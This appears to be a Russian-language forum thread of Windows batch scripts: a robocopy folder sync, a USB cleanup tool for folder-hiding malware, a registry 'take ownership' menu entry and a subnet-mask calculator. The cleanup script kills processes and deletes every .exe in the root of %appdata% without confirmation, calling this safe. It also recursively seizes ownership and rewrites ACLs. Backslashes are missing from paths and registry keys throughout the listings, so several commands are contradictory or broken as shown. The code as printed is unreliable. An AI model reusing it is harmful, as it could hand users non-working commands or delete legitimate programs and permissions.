Полезные bat файлы для windows 10 - Доктор Windows

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

15.10.2012, 00:56. Показов 563196. Ответов 179

Метки acl, antihidden, cabinet archive, cacls, drive serial number, folder permissions, not responding, regsvr32, sfc /scannow, takeown, полезные bat/cmd скрипты (Все метки)

В этой теме выкладываем скрипты, которые часто используются Вами
или на Ваш взгляд могут иметь большое практическое значение.

Также приветствуются скрипты высокой степени сложности, полезные с точки зрения
изучения принципа их работы.

Правила темы:

При выкладывании скрипта постарайтесь тщательно описывать принцип его работы и по-больше комментировать строки Вашего кода.
Код, состоящий из > 4 строк, помещайте под теги [SPOILER=»Развернуть код…»]Ваш код[/SPOILER]. Также можно сделать 2 варианта: 1. Чистый код. 2. С комментариями.
Запрещаются любые обсуждения выложенных здесь работ;
если в этом есть необходимость, создайте отдельную тему в которой опишите замечание или проблему при работе с данным скриптом, указав ссылку на сообщение из этой темы (правый клик по слову «Permalink» вверху каждого сообщения).
Если Вы хотите внести исправление в выложенный Вами код — пишите мне в личку ссылку на Ваше старое сообщение и новый исправленный вариант. (полный вариант с тегами Вашего старого сообщения можно получить, нажав на него — кнопка «Цитата»).
Допускается размещение обзора программ, помогающих редактировать/отлаживать код.

Схожая тема: BAT/CMD файлы
Смежная тема: Полезные VBS скрипты и программы по работе с ними
Ссылка на набор полезных скриптов (предыдущая шапка от bombus) BAT/CMD файлы

*******************

Перечень полезных скриптов: *******************

Архивация и резервное копирование
Создание CAB-архивов ссылка

Безопасность
Удаление последствий вируса (фейковые папки на флешке) ALINK
Стать владельцем папки/файла, получить полные права (пункт контекстного меню (Reg-файл) ALINK
Смена владельца и прав на папку и ее содержимое, в которой запущен батник (Full Access <-> Read Only) ссылка

Дата, время
Конвертация даты/времени из/в UNIX-формат(в секундах после 1-янв-1970 00:00:00) ссылка

Интерфейс
Крутящаяся палка (имитация) ссылка
Вызов GUI диалогового окна выбора папки ссылка
Разноцветный вывод в консоли. ссылка Цветная роза. ссылка
Диалоговое меню выбора файла ссылка

Компиляция
Помощник компиляции исходных кодов С# (.cs) через консольный NET.FrameWork компилятор ссылка

Операционная система
Восстановление шрифтов после сбоя ссылка
Пищалка (сигнал встроенного динамика, подобие Beep) ссылка
Регистрация всех библиотек DLL и OCX ссылка
Проверка целостности системных файлов утилитой sfc /scannow с выводом лога и автоопределением месторасположения диска ссылка

Сеть
Подсчёт маски подсети на основании двух крайних значений диапазона. ALINK
Пакетное получение информации о IP-адресах и построение HTML-отчёта. ALINK
GetIP/GetMAC/Get default gateway ссылка

Процессы
Завершение процесса (с листингом и выбором через меню) ссылка
Многопроцессное создание пустых файлов (бенчмарк для винчестера) ссылка
Отслеживание зависшего процесса и его перезапуск с указанным приоритетом ссылка
Process Change Monitor (мониторинг и протоколирование изменений в списке запущенных процессов) ссылка

Текстовые операции, кодировка
Вывод текста без переноса на новую строку ALINK
Перекодировка CP OEM-866 <-> WIN-1251 — 1) CMD 2) VBA 3) ASM (exe+src) ссылка
Помощь по всем командам вашей версии Windows / DOS ссылка
Транслитерация файлов, в именах которых есть кириллица

(файловые операции) ссылка
Преобразование текстового файла в кодировку Unicode (файловые операции) ссылка
Перекодировщик Reversed Hex в символьную строку ссылка

Файловые операции, разделы
Взаимное копирование содержимого 2 папок друг в друга ALINK
Прогресс-бар копирования файлов ссылка
Циклическое копирование файлов по каталогам с ожиданием завершения их дозаписи в исходную папку. ссылка
Создание нуль-копии папки для выкладывания на форуме ссылка
Получение серийного номера всех съемных устройств и физических жестких дисков (не разделов). Получение имен разделов физических накопителей (кроме оптических). ссылка

Другое
Расчёт индекса массы тела и идеального веса ссылка

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

15.10.2012, 00:57

[ТС]

Взаимное копирование содержимого 2 папок друг в друга

Критерий копирования при совпадении имен файлов: последняя дата модификации.

Использование:
Сохранить в файл Мое_Название_файла.CMD
Скопировать файл в папку № 1.
Перетянуть папку № 2 на этот сценарий.

Примечание: скрипт использует Robocopy.exe из пакета Windows Resource Kit (является родной для Windows 7)

Развернуть код …

Windows Batch file

@echo off
setlocal enabledelayedexpansion
set "cat=%~dp0"
set "cat=!cat:~0,-1!"
color 9E
echo                    by Alex Drago.kas
echo.
echo.
echo Реверсивная синхронизация файлов/папок.
echo.
echo Вам нужно объеденить содержимое двух папок так,
echo чтобы взаимозаменить новые файлы по дате модификации,
echo а также добавить новые?
echo.
echo.
:: 1. Поместите сценарий в папку № 1
:: 2. Опустите папку № 2 на этот сценарий.
if (%1)==() goto :noCat
echo.
echo Будут взаимообъединены файлы и папки в каталогах:
echo 1. !cat!
echo 2. %1
echo.
pause
robocopy "!cat!" "%1" /s /fft
robocopy "%1" "!cat!" /s /fft
echo.
echo Объединение завершено.
echo.
pause
goto :eof
 
:noCat
echo Не задана папка № 2 ...
echo ---------------------------------
echo 1. Поместите сценарий в папку № 1
echo 2. Опустите папку № 2 на этот сценарий.
echo.
pause

Вложения

Dual_Synhro.zip (586 байт, 602 просмотров)

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

15.10.2012, 02:41

[ТС]

Удаление последствий вируса (поддельные «фейковые» папки на флешке)
19.11.2012 — Критическое обновление (запускать скрипт «от имени Администратора» теперь безопасно).
Автор: Dragokas

Использование:
Скопировать в корень съемного диска (USB Flash Drive).
Запустить.

Показания к применению:
Ваша флешка побывала на компьютере с вирусом, скрывающим папки, а вместо них — теперь ярлыки.
Вы хотите, чтобы на флешке физически нельзя было создать autorun.inf, который дает команду на запуск паразитов.

Функционал v.1.5.:
1. Удаление файлов с расширением *.lnk (ярлыки), соответствующих именам папок.
1.1. Удаление других *.lnk с запросом подтверждения от пользователя.
2. Снятие атрибутов «скрытый», «системный» с папок в корне флешки.
3. Удаление файла автозапуска «autorun.inf».
4. Создание папки «autorun.inf» (контр-мера против дальнейшей возможности создавать файл autorun.inf)

Папка содержит в свою очередь 3 неудаляемые штатными способами подпапки, создаваемые разными алгоритмами.
(папка с 2 точками на конце, папка с именем системного устройства и папка с измененными ACL-правами доступа).
5. Удаление всех файлов с расширением *.exe в корне папки C:UsersПользовательAppDataRoaming (%appdata%) — это безопасно.
6. Завершение процесса Host.exe. Поиск и удаление рекурсивно всех файлов Host.exe (все действия с подтверждением от пользователя).
7. Удаление модифицированных системных папок «recycled» и «System Volume Information» без подтверждения.
(удаление папки корзины Windows («recycler») на оперируемом томе происходит с подтверждением).
8. Удаление дополнительных обычно вирусных файлов (System, Game.cpl) в режиме подтверждения.

Тонкости:
Учитываются особенности работы с именами, где используются буквы украинского алфавита и др. спецсимволы.
Если удаление не происходит с первого раза предпринимается попытка получить права на объект и сменить владельца.
Если и это не получается сделать, производится попытка удалить папку/файл в обход ограничений API-функций Windows на имена.

Основные изменения в update 1.5. (от 16.11.2012)
Исправлены ошибки с кавычками и др. недочеты.
Скрипт спрашивает разрешения и ничего лишнего точно не удалит.
Более быстрая работа.
Добавлена визуализация и %-ый прогрессбар.

Обсуждение скрипта ведется здесь (и последняя версия скрипта тоже): AntiHidden — Удаление последствий вируса (поддельные «фейковые» папки на флешке)

FAQ

Как удалить созданную программой папку Autorun.inf
— Не скажу А вообще проще отформатировать флешку

Программа работает слишком долго:
— Вероятно много папок/файлов или за Вами очень внимательно следит антивирус

Зачем удалять программы в корне папки %appdata% ?
— Некоторые вирусы, скрывающие папки, хранят свое тело в папке %appdata%
Другие пользовательские или системные программы в корне этой папки никогда не хранятся.

Листинг исходного кода v.1.5.1. ua:

В коде версии 1.5. использованы спецсимволы BackSpace, поэтому при прямом копировании кода Ваш батник работать не будет, как задумано.
(скачивайте через прикрепленный файл).

Bash

@echo off
Setlocal EnableDelayedExpansion EnableExtensions
mode con: cols=82 lines=30
title Anti Hidden Fast - Видалення наслiдкiв вiрусної дiяльностi ver.1.5.1
color 1a
echo                                        Maded by Alex Drago.kas -=2012=-
echo   Anti Hidden Fast v.1.5.1                     -= Зроблено в Українi :)
echo.
echo   Етап 1. Вiдновлення властивостей корневих папок.
echo.
echo   Будуть встановленi такi параметри:
echo   - не "Прихований"
echo   - не "Системний"
echo   + стати власником
echo   + надати повнi права
echo.
echo   Для прискорення операцiї можна тимчасово вимкнути антивiрусне ПЗ.
 
Call :StrOne "  Працюю з папкою:  "
<nul set /p text=%%
Call :StrOne " " new
 
Set Cur=%~dp0
Set Cur=%Cur:~0,-1%
 
::Оценка количества папок для прогресс-бара, запись первой порции папок в массив (Hidden)
chcp 1251>nul
for /f "delims=" %%i in ('dir "%Cur%" /b /a:dh 2^>nul') do (set /a folders+=1& Set F.!folders!=%Cur%%%i)
 
chcp 866>nul
for /L %%A in (1,1,%folders%) do (
  set /a Progress=100*%%A/%folders%
  Call :StrOne "!Progress! - !F.%%A!"
  Call :RecovFolder "!F.%%A!"
)
 
chcp 1251>nul
for /f "delims=" %%i in ('dir "%Cur%" /b /a:ds 2^>nul') do (
   Call :StrOne "*** - %%i"
   Call :RecovFolder "%Cur%%%i"
)
chcp 866>nul
Call :StrOne "100 - завершено.                                                                "
echo.
 
echo   Етап 2. Видалення зайвих ярликiв.
::chcp 1251>nul
::Удаление только ярлыков, имена которых соответствуют именам папок
for /f "delims=" %%i in ('dir "%Cur%" /b /a:d') do if exist "%Cur%%%i.lnk" (
  call :killfile "%Cur%%%i.lnk"
)
chcp 866>nul
 
echo   Етап 3. Блокування стороннiх активних процесiв та видалення їх джерела.
if exist %appdata%*.exe (
  for /f "delims=" %%i in ('dir %appdata%*.exe /b /a') do taskkill /im "%%i" /t /f
  call :killfile "%appdata%*.exe"
)
 
echo   Етап 4. Видалення файлу автозапуску.
if not exist "%Cur%autorun.inf" if exist "%Cur%autorun.inf" call :killfile "%Cur%autorun.inf"
 
echo   Етап 5. Видалення модифiкованих системних папок i чужорiдних файлiв.
for %%a in ("recycled" "System Volume Information") do (
  if exist "%Cur%%%~a" Call :KillFolder "%Cur%%%~a")
) 1>nul 2>&1
if exist "%Cur%recycler" (
  echo   Знайдено папку Recycler. Продовжити видалення корзини Windows для тому %~d0 ? 
  Set /p RecycleRemove="Натиснiть "Y" та кнопку {ENTER} "
  Echo.!RecycleRemove!|>nul find /i "y"&&Call :KillFolder "%Cur%recycler"
)
 
for %%b in (game.cpl system *.lnk) do for /F "delims=" %%a in ('2^>nul dir "%Cur%%%b" /b /a:-d') do (
  echo.
  echo Знайдено пiдозрiлий файл - %%a. 
  echo Для видалення натиснiть "Y" та кнопку {ENTER}
  (takeown /f "%Cur%%%a"&echo y|cacls "%Cur%%%a" /g %username%:f) 1>nul 2>&1
  del /f /p /A "%Cur%%%a"
)
 
echo.
color 1b
echo   Етап 5.1. Пошук i видалення файлiв host.exe. Будь ласка, чекайте...
tasklist |1>nul 2>&1 FindStr /B /L /I /C:host.exe&&(
  Echo   В системi запущено пiдозрiлий процес Host.exe
  Set /p HostClose="  Завершити його? - натиснiть Y та {ENTER}"
  Echo.!HostClose!|>nul find /i "y"&&taskkill /im "host.exe" /t /f
)
(for /f "tokens=*" %%a in ('Dir /b /s /a:-d "%Cur%host.exe"') Do (
  if not Defined HostAgree (
    Echo   Всi файли з iм'ям Host.exe будуть видаленi з носiя %~dp0% рекурсивно.
    Set /p HostAgree="Щоб продовжити натиснiть Y та {ENTER}"
    Echo.!HostAgree!|>nul find /i "y"||Goto :ExtHostSeek
  )
  Call :KillFile "%%a"
)) 2>nul
:ExtHostSeek
 
color 1a
echo   Етап 6. Створення захисного файлу автозапуску, що не видаляється
echo           штатними засобами.
if not exist "%Cur%autorun.inf" mkdir "%Cur%autorun.inf" 1>nul 2>&1
if not exist "%Cur%autorun.infDragokas.." mkdir "%Cur%autorun.infDragokas.." 1>nul 2>&1
if not exist "%Cur%autorun.infcom1" mkdir "\?%Cur%autorun.infcom1" 1>nul 2>&1
if not exist "%Cur%autorun.infdefence" (
  mkdir "%Cur%autorun.infdefence" 1>nul 2>&1
  echo y|1>nul 2>&1 cacls "%Cur%autorun.infdefence" /d Все
  echo y|1>nul 2>&1 cacls "%Cur%autorun.infdefence" /d All
)
 
echo.
echo Процедуру проведено. Програму буде закрито.
ping -n 3 localhost 1>nul 2>&1
color
goto :eof
 
:RecovFolder
attrib -s -h "%~1" 1>nul 2>&1
attrib "%~1"|>nul FindStr /BIR "....H.."
if %errorlevel%==0 (
    Call :GrantAccess "%~1"
    attrib -s -h "%~1" 1>nul 2>&1
  ) else (
  attrib "%~1"|>nul FindStr /BIR "...S..."&&(
    Call :GrantAccess "%~1"
    attrib -s -h "%~1" 1>nul 2>&1
    )
)
exit /b
 
:GrantAccess
takeown /f "%~1" /r /d y 1>nul 2>&1
echo y|cacls "%~1" /g %username%:f 1>nul 2>&1
exit /b
 
:KillFile
attrib -s -h "%~1" 1>nul 2>&1
del /F /Q "%~1" 1>nul 2>&1
if exist "%~1" (
  takeown /f "%~1"
  echo y|cacls "%~1" /g %username%:f
  del /F /Q /A "%~1"
) 1>nul 2>&1
if exist "%~1" (
  del /F /Q /A "\?%~1"
) 1>nul 2>&1
exit /b
 
:KillFolder
attrib -s -h "%~1" 1>nul 2>&1
rd /S /Q "%~1" 1>nul 2>&1
if exist "%~1" (
  takeown /f "%~1" /r /d y
  echo y|cacls "%~1" /g %username%:f
  rd /S /Q "%~1"
) 1>nul 2>&1
if exist "%~1" (
  rd /S /Q "\?%~1"
) 1>nul 2>&1
exit /b
 
:StrLen
::Вычисляет длину переменной.
::Результат записывается в переменную LastLen
set strString=%~1
set /a LastLen = 0
::Максимальная длина переменной = 1024 символа
for /l %%i in (0,1,1024) do (
  set strTempString=!strString:~%%i,1!
  if "!strTempString!" neq "" (
    set /a LastLen+=1
  )
)
exit /b 0
 
:StrOne
::%1 - строка, которую отображаем
::%2 - параметры:
::new - печатать рядом
::vblf - печатать с новой строки
::если опущен, то заменять предыдущий текст.
if "%2"=="new" (set /a conWidth-=%LastLen%& call :StrWrite "%~1" New& exit /b 0)
if "%2"=="crlf" (call :GetConsoleWidth& echo.&call :StrWrite "%~1" New& exit /b 0)
::если предыдущего текста не было, просто печатаем текст и записываем его длину
if not defined LastLen (call :GetConsoleWidth& call :StrWrite "%~1" New& exit /b 0)
::Переменная с БекСпейсами
Set BS=
::Набиваем нужным количеством БекСпейсов
for /l %%i in (1,1,%LastLen%) do (Set BS=!BS!)
::Возвращаем каретку назад
<nul set /p text=%BS%
Set /a LenBefore=%LastLen%
::Печатаем текст поверх старого
Call :StrWrite "%~1" Fill
::Если новый текст короче старого, нужно затереть оставшиеся символы
if %LenBefore% GTR %LastLen% (
  set Space=
  set /a n=%LenBefore%-%LastLen%
  rem Набиваем Space слева пробелами, а справа возратом каретки
  rem Нужно ее ведь затем вернуть в пред. позицию
  for /l %%i in (1,1,!n!) do (Set Space= !Space!)
  rem Знак подчеркивания + BackSpace здесь я использую для обхода ограничения
  rem т.к. иначе, если в начале строки мы захотим напечатать пробел - это не получится сделать
  rem Команда (<nul set /p text= Текст) выведет "Текст" без пробела!
  (<nul set /p text=_!Space!)
)
exit /b 0
 
:StrWrite
::Вычисляем длину напечатанной строки
Call :StrLen "%~1"
::Определяем поместится ли по ширине консоли
Set Text=%~1
if %LastLen% GTR %conWidth% (
  call set Text=!Text:~0,%conWidth%!
  set /a LastLen=%conWidth%
)
::Печатаем текст на той же строке
<nul set /p text=_%Text%
::Обнуляем переменную длины предыдущей строки
if "%2"=="New" set /a LenBefore=0
exit /b 0
 
:GetConsoleWidth
::Получение ширины консоли
For /F "skip=4 tokens=1,2" %%v In ('mode con') Do (
  Set /A conWidth=%%w-4
  Exit /B
)

Add. Перевод на русский v.1.4.:

Листинг (с переводом).

Bash

@echo off
title Anti Hidden Fast - Удаление следов вирусной деятельности ver.1.4
color 1a
echo                                        Maded by Alex Drago.kas -=2012=-
echo   Anti Hidden Fast v.1.4                       -= Сделано в Украине :)
echo.
echo   Этап 1. Возобновление свойств корневых папок.
echo.
echo   Будут установлены такие параметры:
echo   - не "Скрытый"
echo   - не "Системный"
echo   + стать собственником
echo   + предоставить полные права
echo.
echo   Для ускорения операции можно временно отключить антивирусное ПО.
chcp 1251>nul
for /f "delims=" %%i in ('dir /b /a:d') do (
for /f "delims={;}" %%s in ('attrib "%%i"') do (call :oper "%%s" "%%i")
)
chcp 866>nul
echo.
echo   Этап 2. Удаление лишних ярлыков.
 
chcp 1251>nul
for /f "delims=" %%i in ('dir /b /a:d') do if exist %%i.lnk call :killfile %%i.lnk
chcp 866>nul
 
echo   Этап 3. Блокирование сторонних активных процессов и удаление их источника.
if exist %appdata%*.exe (
for /f "delims=" %%i in ('dir %appdata%*.exe /b /a') do taskkill /im "%%i" /t /f
call :killfile %appdata%*.exe
)
 
echo   Этап 4. Удаление файла автозапуска.
if not exist autorun.inf if exist autorun.inf call :killfile autorun.inf
::echo.
echo   Этап 5. Удаление модифицированных системных папок и инородных файлов.
for %%a in ("recycled" "recycler" "System Volume Information") do (
if exist %%a (takeown /f %%a /r /d y&echo y|cacls %%a /g %username%:f&attrib -s -h %%a&rd /s /q %%a)
) 1>nul 2>&1
for %%a in (game.cpl system) do (if exist %%a (
echo.
echo Найдено подозрительный файл - %%a. 
echo Для удаления нажмите "Y" и кнопку {ENTER}
(takeown /f %%a&echo y|cacls %%a /g %username%:f&&attrib -s -h %%a) 1>nul 2>&1
del /f /p %%a
))
echo.
color 1b
::echo   Этап 5.1. Поиск и удаление файлов host.exe. Пожалуйста, подождите...
tasklist |1>nul 2>&1 FindStr /B /L /I /C:host.exe&&taskkill /im "host.exe" /t /f
(for /f "tokens=*" %%a in ('Dir /b /s /a:-d host.exe') Do (
attrib -s -h "%%a" 1>nul 2>&1
del /f /q "%%a" 1>nul 2>&1
)) 2>nul
 
color 1a
echo   Этап 6. Создание защитного файла автозапуска, который не удаляется
echo           штатными средствами.
if not exist autorun.inf mkdir autorun.inf 1>nul 2>&1
if not exist autorun.infdefence.. mkdir autorun.infdefence.. 1>nul 2>&1
if not exist autorun.infcom1 mkdir "\?%~d0autorun.infcom1" 1>nul 2>&1
if not exist autorun.inf123 (
mkdir autorun.inf123 1>nul 2>&1
echo y|1>nul 2>&1 cacls "123" /d Все
echo y|1>nul 2>&1 cacls "123" /d All
)
echo.
echo Процедура проведена. Программа будет закрыта.
ping -n 3 localhost 1>nul 2>&1
color 07
goto :eof
 
:oper
echo %1|>nul FindStr /BIR ".....H."&&attrib -s -h %2 1>nul 2>&1
echo %1|>nul FindStr /BIR ".....H."&&(
takeown /f %2 /r /d y 1>nul 2>&1
echo y|>nul cacls %2 /g %username%:f
attrib -s -h %2 1>nul 2>&1
)
exit /b
 
:killfile
(attrib -s -h %1
del /F /Q %1||(takeown /f %1&echo y|cacls %1 /g %username%:f&&attrib -s -h %1&&del /F /Q %1)
) 1>nul 2>&1

Вложения

	Anti_Hidden_fast_ua_v.1.5.1.rar (3.1 Кб, 1206 просмотров)
	Anti_Hidden_fast_ru_v.1.5.1.rar (3.0 Кб, 2191 просмотров)

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

15.10.2012, 02:44

[ТС]

Стать владельцем папки/файла, получить полные права (пункт контекстного меню)

Скрипт представляет из себе ключик реестра.
Установка:
Сохранить код в файл с расширением .REG
Запустить Reg-ключ и подтвердить импорт в реестр.

Использование:
Правый клик по нужному файлу/папке, выбрать «Стать владельцем и задать полный доступ к объекту».

Предназначение:
Назначает Вас владельцем указанной папки (файла).
«Сбрасывает» его/ее ACL-таблицу.

Показания к применению:
При попытке файловой операции над файлом/папкой появляется сообщение «У Вас недостаточно прав для выполнения данной операции». Бывает, когда копируете данные с другого компьютера.
Прим.: данное средство не позволяет переназначить права, если требуемый файл находится вне целевого компьютера (в локальной сети).

Ключик Nizaury Reg-Key Листинг:

Код

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT*shellrunas]
@="Стать владельцем и задать полный доступ к объекту"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT*shellrunascommand]
@="cmd.exe /c takeown /f "%1" && icacls "%1" /grant администраторы:F"
"IsolatedCommand"="cmd.exe /c takeown /f "%1" && icacls "%1" /grant администраторы:F"

[HKEY_CLASSES_ROOTDirectoryshellrunas]
@="Стать владельцем и задать полный доступ к объекту"
"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOTDirectoryshellrunascommand]
@="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant администраторы:F /t"
"IsolatedCommand"="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant администраторы:F /t"

Автор: Nizaury

Смежный скрипт: Смена владельца и прав на папку и ее содержимое, в которой запущен батник

Anonymоus

612 / 92 / 14

Регистрация: 15.08.2012

Сообщений: 62

15.10.2012, 05:16

Подсчёт маски подсети на основании двух крайних значений диапазона.

Синтаксис — netmask.cmd <начало диапазона> <конец диапазона>
Вызов из другого скрипта — см. комментарии.

Развернуть код …

Bash

@Echo Off
:: Subnet mask from IP range
:: Inquisitor, 2012
:: Distributed under GNU GPL v2 license
:: [url]http://www.gnu.org/licenses/gpl-2.0.html[/url]
SetLocal EnableDelayedExpansion
Set NetworkHostBoundary=false
Set NetMask=
 
:: Если вызывается не из консоли, а из другого батника,
:: вызывать нужно из цикла for для корректной работы
:: Пример:
rem For /F %%A In ('netmask.cmd 192.168.1.0 192.168.8.255') Do Echo %%A
 
:: Проверка на запуск с аргументами
:: Если без аргументов - пример использования и выход
If "%*"=="" (Echo USAGE: %~nx0 192.168.1.0 192.168.3.255&GoTo :EOF)
 
:: Разбор входящих аргументов, cравнение начального и конечного
:: адресов по октетам
For /F "tokens=1-8 delims=. " %%A In ("%*") Do (
    Call :Mask %%A %%E
    Call :Mask %%B %%F
    Call :Mask %%C %%G
    Call :Mask %%D %%H
)
:: Вывод в stdout результата и выход, раскомментировать нужное
:: Вывод _БЕЗ_ перевода строки
<Nul Set /P Echo=!NetMask!
:: Вывод _С_ переводом строки
rem Echo !NetMask!
GoTo :EOF
 
 
:DEC2BIN
:: Функция перевода числа из десятеричной системы в двоичную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
:d2b_loop
:: Проверяем, есть ли остаток от деления
Set /A x1=Data/2
Set /A x2=x1*2
If "%x2%"=="%Data%" (Set Mod=0) Else (Set Mod=1)
:: Устанавливаем в качестве входных данных результат деления
Set Data=%x1%
:: Пишем результат поразрядно, в обратном порядке
Set Result=%Mod%%Result%
:: Следующая итерация или выход после окончания
If Not "%x1%"=="0" GoTo d2b_loop
:: Перед выходом - дополнение ведущими нулями до двух в восьмой
:: Требуется для корректного сравнения двух чисел без сдвига
Call :LeadingZero %Result%
GoTo :EOF
 
:BIN2DEC
:: Функция перевода числа из двоичной системы в десятеричную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
:: Значение -1 для начала значения счетчика с нуля
Set i=-1
Set Data=%1
:b2d_loop
:: Получаем текущий разряд числа
Set /A i+=1
Set x1=%Data:~-1%
:: Используем бинарный сдвиг для получения степени двойки
Set /A x2="x1 * (1 << i)"
:: Добавляем к результату
Set /A Result+=%x2%
:: Следующая итерация или выход после окончания
If Not "%Data:~,-1%"=="" (Set Data=%Data:~,-1%&GoTo b2d_loop)
GoTo :EOF
 
:LeadingZero
:: Дополнение ведушими нулями до двух в восьмой (один байт)
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
For /L %%A In (1,1,8) Do (
    If Not "!Data!"=="" (
        Set Result=!Data:~-1!!Result!
        Set Data=!Data:~,-1!
    ) Else (
        Set Result=0!Result!
    )
) 
GoTo :EOF
 
:FastCompare
:: Быстрое сравнение, если найдены различия - вызывается функция
:: более детального сравнения для поиска самого различия
:: Принимает два аргумента, результат возвращается в %Result%
If Not !NetworkHostBoundary!==true (
    If "%1"=="%2" (
        Set Result=11111111
        GoTo :EOF
    ) Else (
        Call :Compare %1 %2
    )
) Else (
    Set Result=00000000
)
GoTo :EOF
 
:Compare
:: Сравнение двух однобайтных чисел поразрядно, локализация начала различий
:: и забивание всего после первого различия нулями
:: Принимает два аргумента, результат возвращается в %Result%
:: Ведущие нули у обоих чисел обязательны
Set x1=%1&Set x2=%2
Set Result=
For /L %%A In (1,1,8) Do (
:: Получение ведущего разряда от каждого из чисел
    Set n1=!x1:~,1!
    Set n2=!x2:~,1!
:: Сравнение двух чисел и инвертирование бита
    Set /A Data="1 ^ (n1 ^ n2)"
:: Установка флага начала различия
    If !Data!==0 Set NetworkHostBoundary=true
:: Обнуление всех последующих после различия разрядов
    If !NetworkHostBoundary!==true Set Data=0
:: Поразрядная запись результата
    Set Result=!Result!!Data!
:: Устанавливаем остаток в качестве входных данных для следующей итерации
    Set x1=!x1:~1!
    Set x2=!x2:~1!
)
GoTo :EOF
 
:Mask
:: Генерация одного октета маски
:: Принимает два аргумента, результат дописывается к %NetMask%
Call :DEC2BIN %1&&Set From=!Result!
Call :DEC2BIN %2&&Set To=!Result!
Call :FastCompare !From! !To!
Call :BIN2DEC !Result!
If "!NetMask!"=="" (Set NetMask=!Result!) Else (Set NetMask=!NetMask!.!Result!)
GoTo :EOF

UPD. 26.04.13
Изменения: переписан вывод помощи и добавлен ключ для вывода маски в формате CIDR.

Использование:
netmask <начальный IP диапазона> <конечный IP диапазона>
netmask <начальный IP диапазона> <конечный IP диапазона> cidr

Примеры:

Bash

1 2	netmask 195.189.120.0 195.189.123.255 = 255.255.252.0 netmask 195.189.120.0 195.189.123.255 CIDR = /22

Развернуть код …

Bash

@Echo Off
:: # 
:: # Subnet mask from IP range v2.1
:: # Inquisitor, 2012-2013
:: # Distributed under GNU GPL v2 license
:: # [url]http://www.gnu.org/licenses/gpl-2.0.html[/url]
:: # 
:: # USAGE: NetMask.cmd first_ip_from_range last_ip_from_range
:: #        or, for display in CIDR format
:: #        NetMask.cmd first_ip_from_range last_ip_from_range cidr
:: # 
SetLocal EnableDelayedExpansion
Set NetworkHostBoundary=false
Set NetMask=
 
:: Если вызывается не из консоли, а из другого батника,
:: вызывать нужно из цикла for для корректной работы
:: Пример:
rem For /F %%A In ('netmask.cmd 192.168.1.0 192.168.8.255') Do Echo %%A
 
:: Проверка на запуск с аргументами
:: Если без аргументов - пример использования и выход
If "%*"=="" (
    For /F "tokens=1,* delims=#" %%A In ('FindStr /R /B "::.#" "%~dpnx0"') Do (
        Echo.%%B
    )
    GoTo :EOF
)
 
:: Разбор входящих аргументов, cравнение начального и конечного
:: адресов по октетам
For /F "tokens=1-9 delims=. " %%A In ("%*") Do (
    Call :Mask %%A %%E
    Call :Mask %%B %%F
    Call :Mask %%C %%G
    Call :Mask %%D %%H
    If /I "%%I"=="CIDR" Call :CIDR
)
:: Вывод в stdout результата и выход, раскомментировать нужное
:: Вывод _БЕЗ_ перевода строки
<Nul Set /P Echo=!NetMask!
:: Вывод _С_ переводом строки
rem Echo !NetMask!
GoTo :EOF
 
 
:DEC2BIN
:: Функция перевода числа из десятеричной системы в двоичную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
:d2b_loop
:: Проверяем, есть ли остаток от деления
Set /A x1=Data/2
Set /A x2=x1*2
If "%x2%"=="%Data%" (Set Mod=0) Else (Set Mod=1)
:: Устанавливаем в качестве входных данных результат деления
Set Data=%x1%
:: Пишем результат поразрядно, в обратном порядке
Set Result=%Mod%%Result%
:: Следующая итерация или выход после окончания
If Not "%x1%"=="0" GoTo d2b_loop
:: Перед выходом - дополнение ведущими нулями до двух в восьмой
:: Требуется для корректного сравнения двух чисел без сдвига
Call :LeadingZero %Result%
GoTo :EOF
 
:BIN2DEC
:: Функция перевода числа из двоичной системы в десятеричную
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
:: Значение -1 для начала значения счетчика с нуля
Set i=-1
Set Data=%1
:b2d_loop
:: Получаем текущий разряд числа
Set /A i+=1
Set x1=%Data:~-1%
:: Используем бинарный сдвиг для получения степени двойки
Set /A x2="x1 * (1 << i)"
:: Добавляем к результату
Set /A Result+=%x2%
:: Следующая итерация или выход после окончания
If Not "%Data:~,-1%"=="" (Set Data=%Data:~,-1%&GoTo b2d_loop)
GoTo :EOF
 
:LeadingZero
:: Дополнение ведушими нулями до двух в восьмой (один байт)
:: Принимает один аргумент, результат возвращается в %Result%
Set Result=
Set Data=%~1
For /L %%A In (1,1,8) Do (
    If Not "!Data!"=="" (
        Set Result=!Data:~-1!!Result!
        Set Data=!Data:~,-1!
    ) Else (
        Set Result=0!Result!
    )
) 
GoTo :EOF
 
:FastCompare
:: Быстрое сравнение, если найдены различия - вызывается функция
:: более детального сравнения для поиска самого различия
:: Принимает два аргумента, результат возвращается в %Result%
If Not !NetworkHostBoundary!==true (
    If "%1"=="%2" (
        Set Result=11111111
        GoTo :EOF
    ) Else (
        Call :Compare %1 %2
    )
) Else (
    Set Result=00000000
)
GoTo :EOF
 
:Compare
:: Сравнение двух однобайтных чисел поразрядно, локализация начала различий
:: и забивание всего после первого различия нулями
:: Принимает два аргумента, результат возвращается в %Result%
:: Ведущие нули у обоих чисел обязательны
Set x1=%1&Set x2=%2
Set Result=
For /L %%A In (1,1,8) Do (
:: Получение ведущего разряда от каждого из чисел
    Set n1=!x1:~,1!
    Set n2=!x2:~,1!
:: Сравнение двух чисел и инвертирование бита
    Set /A Data="1 ^ (n1 ^ n2)"
:: Установка флага начала различия
    If !Data!==0 Set NetworkHostBoundary=true
:: Обнуление всех последующих после различия разрядов
    If !NetworkHostBoundary!==true Set Data=0
:: Поразрядная запись результата
    Set Result=!Result!!Data!
:: Устанавливаем остаток в качестве входных данных для следующей итерации
    Set x1=!x1:~1!
    Set x2=!x2:~1!
)
